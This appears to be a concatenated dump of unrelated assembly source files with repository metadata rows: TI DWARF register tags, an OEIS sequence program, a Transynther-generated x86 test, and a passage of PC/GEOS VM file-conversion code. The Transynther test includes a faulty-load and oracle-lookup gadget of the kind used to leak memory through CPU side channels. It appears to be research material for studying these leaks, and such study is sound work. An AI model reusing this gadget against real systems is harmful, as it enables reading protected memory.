.dwattr $C$DW$279, DW_AT_location[DW_OP_regx 0x28]
$C$DW$280 .dwtag DW_TAG_TI_assign_register, DW_AT_name("ST1")
.dwattr $C$DW$280, DW_AT_location[DW_OP_regx 0x29]
$C$DW$281 .dwtag DW_TAG_TI_assign_register, DW_AT_name("ST2")
.dwattr $C$DW$281, DW_AT_location[DW_OP_regx 0x2a]
$C$DW$282 .dwtag DW_TAG_TI_assign_register, DW_AT_name("ST3")
.dwattr $C$DW$282, DW_AT_location[DW_OP_regx 0x2b]
$C$DW$283 .dwtag DW_TAG_TI_assign_register, DW_AT_name("MDP")
.dwattr $C$DW$283, DW_AT_location[DW_OP_regx 0x2c]
$C$DW$284 .dwtag DW_TAG_TI_assign_register, DW_AT_name("MDP05")
.dwattr $C$DW$284, DW_AT_location[DW_OP_regx 0x2d]
$C$DW$285 .dwtag DW_TAG_TI_assign_register, DW_AT_name("MDP67")
.dwattr $C$DW$285, DW_AT_location[DW_OP_regx 0x2e]
$C$DW$286 .dwtag DW_TAG_TI_assign_register, DW_AT_name("BRC0")
.dwattr $C$DW$286, DW_AT_location[DW_OP_regx 0x2f]
$C$DW$287 .dwtag DW_TAG_TI_assign_register, DW_AT_name("RSA0")
.dwattr $C$DW$287, DW_AT_location[DW_OP_regx 0x30]
$C$DW$288 .dwtag DW_TAG_TI_assign_register, DW_AT_name("RSA0_H")
.dwattr $C$DW$288, DW_AT_location[DW_OP_regx 0x31]
$C$DW$289 .dwtag DW_TAG_TI_assign_register, DW_AT_name("REA0")
.dwattr $C$DW$289, DW_AT_location[DW_OP_regx 0x32]
$C$DW$290 .dwtag DW_TAG_TI_assign_register, DW_AT_name("REA0_H")
.dwattr $C$DW$290, DW_AT_location[DW_OP_regx 0x33]
$C$DW$291 .dwtag DW_TAG_TI_assign_register, DW_AT_name("BRS1")
.dwattr $C$DW$291, DW_AT_location[DW_OP_regx 0x34]
$C$DW$292 .dwtag DW_TAG_TI_assign_register, DW_AT_name("BRC1")
.dwattr $C$DW$292, DW_AT_location[DW_OP_regx 0x35]
$C$DW$293 .dwtag DW_TAG_TI_assign_register, DW_AT_name("RSA1")
.dwattr $C$DW$293, DW_AT_location[DW_OP_regx 0x36]
$C$DW$294 .dwtag DW_TAG_TI_assign_register, DW_AT_name("RSA1_H")
.dwattr $C$DW$294, DW_AT_location[DW_OP_regx 0x37]
$C$DW$295 .dwtag DW_TAG_TI_assign_register, DW_AT_name("REA1")
.dwattr $C$DW$295, DW_AT_location[DW_OP_regx 0x38]
$C$DW$296 .dwtag DW_TAG_TI_assign_register, DW_AT_name("REA1_H")
.dwattr $C$DW$296, DW_AT_location[DW_OP_regx 0x39]
$C$DW$297 .dwtag DW_TAG_TI_assign_register, DW_AT_name("CSR")
.dwattr $C$DW$297, DW_AT_location[DW_OP_regx 0x3a]
$C$DW$298 .dwtag DW_TAG_TI_assign_register, DW_AT_name("RPTC")
.dwattr $C$DW$298, DW_AT_location[DW_OP_regx 0x3b]
$C$DW$299 .dwtag DW_TAG_TI_assign_register, DW_AT_name("CDP")
.dwattr $C$DW$299, DW_AT_location[DW_OP_regx 0x3c]
$C$DW$300 .dwtag DW_TAG_TI_assign_register, DW_AT_name("XCDP")
.dwattr $C$DW$300, DW_AT_location[DW_OP_regx 0x3d]
$C$DW$301 .dwtag DW_TAG_TI_assign_register, DW_AT_name("TRN0")
.dwattr $C$DW$301, DW_AT_location[DW_OP_regx 0x3e]
$C$DW$302 .dwtag DW_TAG_TI_assign_register, DW_AT_name("TRN1")
.dwattr $C$DW$302, DW_AT_location[DW_OP_regx 0x3f]
$C$DW$303 .dwtag DW_TAG_TI_assign_register, DW_AT_name("BSA01")
.dwattr $C$DW$303, DW_AT_location[DW_OP_regx 0x40]
$C$DW$304 .dwtag DW_TAG_TI_assign_register, DW_AT_name("BSA23")
.dwattr $C$DW$304, DW_AT_location[DW_OP_regx 0x41]
$C$DW$305 .dwtag DW_TAG_TI_assign_register, DW_AT_name("BSA45")
.dwattr $C$DW$305, DW_AT_location[DW_OP_regx 0x42]
$C$DW$306 .dwtag DW_TAG_TI_assign_register, DW_AT_name("BSA67")
.dwattr $C$DW$306, DW_AT_location[DW_OP_regx 0x43]
$C$DW$307 .dwtag DW_TAG_TI_assign_register, DW_AT_name("BSAC")
.dwattr $C$DW$307, DW_AT_location[DW_OP_regx 0x44]
$C$DW$308 .dwtag DW_TAG_TI_assign_register, DW_AT_name("CARRY")
.dwattr $C$DW$308, DW_AT_location[DW_OP_regx 0x45]
$C$DW$309 .dwtag DW_TAG_TI_assign_register, DW_AT_name("TC1")
.dwattr $C$DW$309, DW_AT_location[DW_OP_regx 0x46]
$C$DW$310 .dwtag DW_TAG_TI_assign_register, DW_AT_name("TC2")
.dwattr $C$DW$310, DW_AT_location[DW_OP_regx 0x47]
$C$DW$311 .dwtag DW_TAG_TI_assign_register, DW_AT_name("M40")
.dwattr $C$DW$311, DW_AT_location[DW_OP_regx 0x48]
$C$DW$312 .dwtag DW_TAG_TI_assign_register, DW_AT_name("SXMD")
.dwattr $C$DW$312, DW_AT_location[DW_OP_regx 0x49]
$C$DW$313 .dwtag DW_TAG_TI_assign_register, DW_AT_name("ARMS")
.dwattr $C$DW$313, DW_AT_location[DW_OP_regx 0x4a]
$C$DW$314 .dwtag DW_TAG_TI_assign_register, DW_AT_name("C54CM")
.dwattr $C$DW$314, DW_AT_location[DW_OP_regx 0x4b]
$C$DW$315 .dwtag DW_TAG_TI_assign_register, DW_AT_name("SATA")
.dwattr $C$DW$315, DW_AT_location[DW_OP_regx 0x4c]
$C$DW$316 .dwtag DW_TAG_TI_assign_register, DW_AT_name("SATD")
.dwattr $C$DW$316, DW_AT_location[DW_OP_regx 0x4d]
$C$DW$317 .dwtag DW_TAG_TI_assign_register, DW_AT_name("RDM")
.dwattr $C$DW$317, DW_AT_location[DW_OP_regx 0x4e]
$C$DW$318 .dwtag DW_TAG_TI_assign_register, DW_AT_name("FRCT")
.dwattr $C$DW$318, DW_AT_location[DW_OP_regx 0x4f]
$C$DW$319 .dwtag DW_TAG_TI_assign_register, DW_AT_name("SMUL")
.dwattr $C$DW$319, DW_AT_location[DW_OP_regx 0x50]
$C$DW$320 .dwtag DW_TAG_TI_assign_register, DW_AT_name("INTM")
.dwattr $C$DW$320, DW_AT_location[DW_OP_regx 0x51]
$C$DW$321 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR0LC")
.dwattr $C$DW$321, DW_AT_location[DW_OP_regx 0x52]
$C$DW$322 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR1LC")
.dwattr $C$DW$322, DW_AT_location[DW_OP_regx 0x53]
$C$DW$323 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR2LC")
.dwattr $C$DW$323, DW_AT_location[DW_OP_regx 0x54]
$C$DW$324 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR3LC")
.dwattr $C$DW$324, DW_AT_location[DW_OP_regx 0x55]
$C$DW$325 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR4LC")
.dwattr $C$DW$325, DW_AT_location[DW_OP_regx 0x56]
$C$DW$326 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR5LC")
.dwattr $C$DW$326, DW_AT_location[DW_OP_regx 0x57]
$C$DW$327 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR6LC")
.dwattr $C$DW$327, DW_AT_location[DW_OP_regx 0x58]
$C$DW$328 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR7LC")
.dwattr $C$DW$328, DW_AT_location[DW_OP_regx 0x59]
$C$DW$329 .dwtag DW_TAG_TI_assign_register, DW_AT_name("CDPLC")
.dwattr $C$DW$329, DW_AT_location[DW_OP_regx 0x5a]
$C$DW$330 .dwtag DW_TAG_TI_assign_register, DW_AT_name("CIE_RETA")
.dwattr $C$DW$330, DW_AT_location[DW_OP_regx 0x5b]
.dwendtag $C$DW$CU
| 46.54592 | 159 | 0.668363 |
01169bf0e20ba8de2c924b6480b957a4556dc195 | 469 | asm | Assembly | programs/oeis/073/A073504.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/073/A073504.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/073/A073504.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A073504: A possible basis for finite fractal sequences: let u(1) = 1, u(2) = n, u(k) = floor(u(k-1)/2) + floor(u(k-2)/2); then a(n) = lim_{k->infinity} u(k).
; 0,0,0,2,2,2,2,4,4,4,4,6,6,8,8,10,10,10,10,12,12,12,12,14,14,14,14,16,16,18,18,20,20,20,20,22,22,22,22,24,24,24,24,26,26,28,28,30,30,30,30,32,32,34,34,36,36,36,36,38,38,40,40,42,42,42,42,44,44,44,44,46,46,46
lpb $0
sub $0,1
div $0,2
mov $2,$0
div $0,2
add $1,$2
sub $1,$0
lpe
mul $1,2
mov $0,$1
| 33.5 | 208 | 0.588486 |
3a5b52ca6a200d5c37678f33529dc1a5620ed124 | 3,353 | asm | Assembly | Transynther/x86/_processed/AVXALIGN/_zr_un_/i3-7100_9_0x84_notsx.log_460_1959.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/AVXALIGN/_zr_un_/i3-7100_9_0x84_notsx.log_460_1959.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/AVXALIGN/_zr_un_/i3-7100_9_0x84_notsx.log_460_1959.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r13
push %r14
push %r15
push %r9
push %rax
push %rsi
lea addresses_normal_ht+0x19bb7, %r15
nop
nop
nop
sub $13188, %r11
movb (%r15), %r13b
nop
nop
cmp %r14, %r14
lea addresses_WC_ht+0x19ad6, %r9
and $62952, %rax
mov $0x6162636465666768, %r11
movq %r11, %xmm5
movups %xmm5, (%r9)
nop
add %rsi, %rsi
pop %rsi
pop %rax
pop %r9
pop %r15
pop %r14
pop %r13
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r14
push %rbx
push %rcx
push %rdi
// Store
lea addresses_RW+0x1a2e1, %r11
xor %rbx, %rbx
mov $0x5152535455565758, %r10
movq %r10, %xmm4
movups %xmm4, (%r11)
nop
nop
nop
nop
nop
xor $31245, %r14
// Store
lea addresses_US+0x1be61, %r10
nop
nop
xor $12565, %rcx
mov $0x5152535455565758, %r14
movq %r14, (%r10)
nop
nop
nop
nop
nop
and %r10, %r10
// Faulty Load
lea addresses_WC+0x18a61, %rdi
nop
nop
add $40526, %r10
vmovaps (%rdi), %ymm1
vextracti128 $0, %ymm1, %xmm1
vpextrq $1, %xmm1, %rcx
lea oracles, %r14
and $0xff, %rcx
shlq $12, %rcx
mov (%r14,%rcx,1), %rcx
pop %rdi
pop %rcx
pop %rbx
pop %r14
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_WC', 'same': False, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_RW', 'same': False, 'size': 16, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_US', 'same': False, 'size': 8, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'type': 'addresses_WC', 'same': True, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': True}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_normal_ht', 'same': False, 'size': 1, 'congruent': 0, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_WC_ht', 'same': True, 'size': 16, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'b0': 2, '0a': 1, '00': 442, 'f9': 2, '08': 13}
08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f9 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 f9 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 00 00 00 00 00 08 08 00 08 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 08 00 b0 b0
*/
| 31.933333 | 1,379 | 0.654041 |
593431e5ddcc8b57f6577f22c4c7290000d831fa | 23,699 | asm | Assembly | Library/Convert/convertVM.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 504 | 2018-11-18T03:35:53.000Z | 2022-03-29T01:02:51.000Z | Library/Convert/convertVM.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 96 | 2018-11-19T21:06:50.000Z | 2022-03-06T10:26:48.000Z | Library/Convert/convertVM.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 73 | 2018-11-19T20:46:53.000Z | 2022-03-29T00:59:26.000Z | COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) GeoWorks 1992 -- All Rights Reserved
PROJECT: File Manager Tools -- 1.X Document Conversion
MODULE: Low-level VM File Conversion
FILE: convertVM.asm
AUTHOR: Adam de Boor, Aug 26, 1992
ROUTINES:
Name Description
---- -----------
REVISION HISTORY:
Name Date Description
---- ---- -----------
Adam 8/26/92 Initial revision
DESCRIPTION:
Functions to convert the low-level system VM structures for a file
from 1.x to 2.0.
$Id: convertVM.asm,v 1.1 97/04/04 17:52:33 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
VMCode segment resource
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ConvertVMCloseFilesOnError
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Close down the files when an error is encountered.
CALLED BY: (INTERNAL) ConvertVMCopyFileHeader,
ConvertVMCopyVMHeader
PASS: ss:bp = inherited stack frame
RETURN: nothing
DESTROYED: ax, bx, dx, ds
SIDE EFFECTS: ss:[sourceFile], ss:[destFile] both closed, destination file
is deleted, ss:[destName] is freed.
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 8/27/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ConvertVMCloseFilesOnError proc near
.enter inherit ConvertVMFile
;
; Close destination file....
;
mov bx, ss:[destFile]
clr al
call FileClose
;
; ...and delete it...
;
mov bx, ss:[destName]
call MemDerefDS
clr dx
call FileDelete
;
; ...and free the block that held its name.
;
call MemFree
;
; Close down the source file.
;
mov bx, ss:[sourceFile]
clr al
call FileClose
.leave
ret
ConvertVMCloseFilesOnError endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ConvertVMCreateDest
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Create the destination temporary file for the conversion.
CALLED BY: (INTERNAL) ConvertVMFile
PASS: ss:bp = inherited stack frame
ds:dx = source file name
RETURN: carry set on error:
ax = FileError
source file closed
carry clear on success:
ax = destination file handle
DESTROYED: bx, ds, es, dx, si, di, cx
SIDE EFFECTS: ss:[finalComp], ss:[destName] both set
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 8/27/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ConvertVMCreateDest proc near
.enter inherit ConvertVMFile
;
; Locate the boundary between the source name's leading path components
; and its final filename component.
;
mov si, dx
findFinalComponentLoop:
lodsb
tst al ; end of name?
jz figureBufferSize ; yes -- ds:dx is char after
; final leading path comp
cmp al, '\\' ; separator?
jne findFinalComponentLoop ; no -- keep looking
lea dx, [si-1] ; yes -- record its position
jmp findFinalComponentLoop
figureBufferSize:
;
; ds:dx = place to null-terminate source name to get directory for
; temp file.
;
mov ss:[finalComp], dx ; save for rename
mov ax, dx
sub ax, ss:[fileName].offset ; ax <- # bytes w/o 0
push ax
jnz allocDestName
inc ax ; we'll need to put '.' in...
allocDestName:
;
; Now allocate a block to hold the destination directory and the stuff
; the kernel will be tacking onto the end.
;
add ax, 14+1 ; 14 required by FileCreateTempFile,
; 1 required by null terminator
mov cx, ALLOC_DYNAMIC_LOCK
call MemAlloc
pop cx
jc memErrorDestNotOpen
;
; Copy the leading components into the buffer. If there were no
; leading components, store "." there instead.
;
mov es, ax
mov ss:[destName], bx
clr di
jcxz storeDot
mov si, ss:[fileName].offset
rep movsb
jmp nullTermDest
storeDot:
mov al, '.'
stosb
nullTermDest:
clr al
stosb
segmov ds, es
clr dx
;
; Create normal PC/GEOS file for reading and writing and exclusive
; access.
;
mov cx, FILE_ATTR_NORMAL
mov ax, FileAccessFlags <FE_EXCLUSIVE, FA_READ_WRITE>
call FileCreateTempFile
jc createError
done:
.leave
ret
memErrorDestNotOpen:
;
; Couldn't allocate the buffer for the name, so just close the source
; file and return an error.
;
mov bx, ss:[sourceFile]
clr al
call FileClose
mov ax, ERROR_INSUFFICIENT_MEMORY
stc
jmp done
createError:
;
; Close the source file and free the buffer holding the destination's
; name.
;
push ax
mov bx, ss:[sourceFile]
clr al
call FileClose
mov bx, ss:[destName]
call MemFree
pop ax
stc
jmp done
ConvertVMCreateDest endp
;
; List of attributes to set on destination, using stuff read in from the
; source file.
;
attrList FileExtAttrDesc \
<FEA_FILE_TYPE, GFHO_type, size GFHO_type>,
<FEA_FLAGS, GFHO_flags, size GFHO_flags>,
<FEA_RELEASE, GFHO_release, size GFHO_release>,
<FEA_PROTOCOL, GFHO_protocol, size GFHO_protocol>,
<FEA_TOKEN, GFHO_token, size GFHO_token>,
<FEA_CREATOR, GFHO_creator, size GFHO_creator>,
<FEA_USER_NOTES, GFHO_userNotes, size GFHO_userNotes>
CVMF_NUM_ATTRS equ length attrList
CVMFHeaderBuf struct
CVMFHB_header VMFileHeaderOld
CVMFHB_attrs FileExtAttrDesc CVMF_NUM_ATTRS dup (<>)
CVMFHeaderBuf ends
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ConvertVMCopyFileHeader
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Copy and convert the file header of the source file.
CALLED BY: (INTERNAL) ConvertVMFile
PASS: ss:bp = inherited stack
RETURN: carry set on error:
ax = FileError
dest file closed and deleted
dest name freed
source file closed
carry clear on success:
ax = destroyed
DESTROYED: bx, cx, dx, si, di, ds, es
SIDE EFFECTS: ss:[headerPos], ss:[headerSize] set
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 8/27/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ConvertVMCopyFileHeader proc near
.enter inherit ConvertVMFile
;
; Allocate a buffer for the VMFileHeaderOld.
;
mov ax, size CVMFHeaderBuf
mov cx, ALLOC_DYNAMIC_LOCK
call MemAlloc ; ^hbx, ax <- buffer
LONG jc couldntAllocateFileHeaderSoCloseAndNukeDestFreeDestNameAndCloseSource
;
; Read in the VMFileHeaderOld
;
push bx ; save handle for free
mov ds, ax
mov es, ax ; for setting attributes...
clr dx
mov bx, ss:[sourceFile]
clr dx
mov cx, size VMFileHeaderOld
clr al
call FileRead
LONG jc couldntReadHeaderSoFreeHeaderBufCloseAndNukeDestFreeDestNameAndCloseSource
;
; Protect against files with the same longname, which can easily occur
; when people copy in an old file with 1.2 that they already converted.
; The filesystem (alas) doesn't screen these duplicates out, so we have
; to be careful.
;
mov ax, ERROR_FILE_FORMAT_MISMATCH
cmp {word}ds:[CVMFHB_header].VMFHO_gfh.GFHO_signature[0],
GFHO_SIG_1_2
jne couldntReadHeaderSoFreeHeaderBufCloseAndNukeDestFreeDestNameAndCloseSource
cmp {word}ds:[CVMFHB_header].VMFHO_gfh.GFHO_signature[2],
GFHO_SIG_3_4
jne couldntReadHeaderSoFreeHeaderBufCloseAndNukeDestFreeDestNameAndCloseSource
cmp ds:[CVMFHB_header].VMFHO_gfh.GFHO_type, GFTO_VM
jne couldntReadHeaderSoFreeHeaderBufCloseAndNukeDestFreeDestNameAndCloseSource
;
; Set the various extended attributes for the dest from the values
; stored in the VMFileHeaderOld, after fixing up the file type (which
; increased by 1 from 1.x to 2.0, but we know this thing's a VM file,
; so just set it directly)
;
mov ds:[CVMFHB_header].VMFHO_gfh.GFHO_type, GFT_VM
;
; Copy in the array of attribute descriptors.
;
mov di, offset CVMFHB_attrs
mov si, offset attrList
segmov ds, cs
mov cx, size attrList
rep movsb
;
; Set their FEAD_value.segment pointers.
;
mov cx, CVMF_NUM_ATTRS
mov di, offset CVMFHB_attrs
setSegmentLoop:
mov es:[di].FEAD_value.segment, es
add di, size FileExtAttrDesc
loop setSegmentLoop
;
; Now tell the kernel to set the attributes for the dest.
;
mov di, offset CVMFHB_attrs ; es:di <- FEAD array
mov ax, FEA_MULTIPLE ; ax <- attr to set (many)
mov cx, CVMF_NUM_ATTRS ; cx <- # attrs to set
mov bx, ss:[destFile] ; bx <- file handle
call FileSetHandleExtAttributes
;
; Now set up and write out the 2.0 VMFileHeader. First zero out the
; VMFileHeader.
;
CheckHack <size VMFileHeader lt VMFHO_signature>
segmov ds, es
clr di
mov cx, size VMFileHeader
clr al
rep stosb
;
; Set the signature properly.
;
mov ds:[VMFH_signature], VM_FILE_SIG
;
; Transfer the size in, and save it in our local variable. It
; doesn't change...
;
mov ax, ds:[CVMFHB_header].VMFHO_headerSize
mov ds:[VMFH_headerSize], ax
mov ss:[headerSize], ax
;
; Transfer the position into the header, adjusting for the loss
; of the GeosFileHeaderOld and the expansion of the VM-specific
; portion. We store the unadulterated position in our local
; variable, however, so we know how much data we need to transfer
; before we get to the header.
;
mov ax, ds:[CVMFHB_header].VMFHO_headerPos.low
mov ss:[headerPos].low, ax
sub ax, CVM_POS_ADJUST
mov ds:[VMFH_headerPos].low, ax
mov ax, ds:[CVMFHB_header].VMFHO_headerPos.high
mov ss:[headerPos].high, ax
sbb ax, 0
mov ds:[VMFH_headerPos].high, ax
;
; Write the VMFileHeader to the destination. We're still located
; just after the hidden file header.
;
clr dx
mov cx, size VMFileHeader
mov bx, ss:[destFile]
clr al
call FileWrite
jc couldntWriteHeaderSoFreeHeaderBufCloseAndNukeDestFreeDestNameAndCloseSource
;
; Free that buffer.
;
pop bx
call MemFree
clc
done:
.leave
ret
couldntAllocateFileHeaderSoCloseAndNukeDestFreeDestNameAndCloseSource:
mov ax, ERROR_INSUFFICIENT_MEMORY
push ax
cleanUpAfterPushingErrorCodeAndFreeingBuffer:
call ConvertVMCloseFilesOnError
;
; Recover error code, set the carry, and return.
;
pop ax
stc
jmp done
couldntWriteHeaderSoFreeHeaderBufCloseAndNukeDestFreeDestNameAndCloseSource:
couldntReadHeaderSoFreeHeaderBufCloseAndNukeDestFreeDestNameAndCloseSource:
pop bx
push ax
call MemFree
jmp cleanUpAfterPushingErrorCodeAndFreeingBuffer
ConvertVMCopyFileHeader endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ConvertVMBulkTransfer
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Copy large swathes of the file from source to dest without
interpretation of any sort.
CALLED BY: (INTERNAL) ConvertVMFile
PASS: si = source file
di = dest file
cxdx = number of bytes to copy.
RETURN: carry set on error:
ax = FileError
dest file closed and deleted
dest name freed
source file closed
carry clear on success:
ax = destroyed
DESTROYED: bx, cx, dx, si, di, ds, es
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 8/27/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ConvertVMBulkTransfer proc near
passedBP local word push bp
bytesLeft local dword push cx, dx
copyBufSize local word
copyBufHandle local hptr
.enter
;
; First find how big a block exists in the system.
;
mov ax, SGIT_LARGEST_FREE_BLOCK
call SysGetInfo ; ax = size of largest block
; in paragraphs
;
; If it's too small to be useful, we'll just have to be pushy.
;
shl ax, 1
shl ax, 1
shl ax, 1
shl ax, 1 ; ax = size in bytes
cmp ax, CVM_FILE_BUF_SIZE ; smallest useful buffer
ja compareToTransferSize
mov ax, CVM_FILE_BUF_SIZE
compareToTransferSize:
;
; Use the smaller of the largest block size and the amount we're
; transferring.
;
tst cx ; > 64K?
jnz setCopySize ; yes -- what we've got is what
; we'll get...
cmp ax, ss:[bytesLeft].low ; > buf size?
jbe setCopySize ; yes, use largest block avail
; else, use file size
mov ax, ss:[bytesLeft].low
setCopySize:
mov ss:[copyBufSize], ax ; save buffer size
tst ax
jz done
;
; Allocate that many bytes.
;
mov cx, ALLOC_DYNAMIC_LOCK
call MemAlloc
jc couldntAllocCleanUpAsUsualOnError
mov ss:[copyBufHandle], bx ; save copy buffer handle
mov ds, ax ; ds:dx <- buffer addr for
clr dx ; the duration.
copyLoop:
;
; Figure how many bytes to read: a whole buffer, or however many are
; left, whichever is less.
;
mov cx, ss:[copyBufSize] ; Try for full buffer...
tst ss:[bytesLeft].high
jnz readBuffer
cmp cx, ss:[bytesLeft].low
jbe readBuffer
mov cx, ss:[bytesLeft].low
readBuffer:
clr al ; give me errors
mov bx, si ; bx <- source file
call FileRead
jc error
;
; Write out however many bytes we asked for.
;
clr al ; give me errors
mov bx, di ; bx <- dest file
call FileWrite
jc error
;
; Reduce the number of bytes to transfer by the number written and
; loop if there's more to do.
;
sub ss:[bytesLeft].low, cx
sbb ss:[bytesLeft].high, 0
tstdw ss:[bytesLeft]
jnz copyLoop
;
; Free up the transfer buffer and return success.
;
mov bx, ss:[copyBufHandle]
call MemFree
clc
done:
.leave
ret
couldntAllocCleanUpAsUsualOnError:
mov ax, ERROR_INSUFFICIENT_MEMORY
push ax
cleanUpAsUsual:
push bp
mov bp, ss:[passedBP] ; ss:bp <- ConvertVMFile locals
call ConvertVMCloseFilesOnError
pop bp
pop ax
stc
jmp done
error:
push ax
mov bx, ss:[copyBufHandle]
call MemFree
jmp cleanUpAsUsual
ConvertVMBulkTransfer endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ConvertVMCopyVMHeader
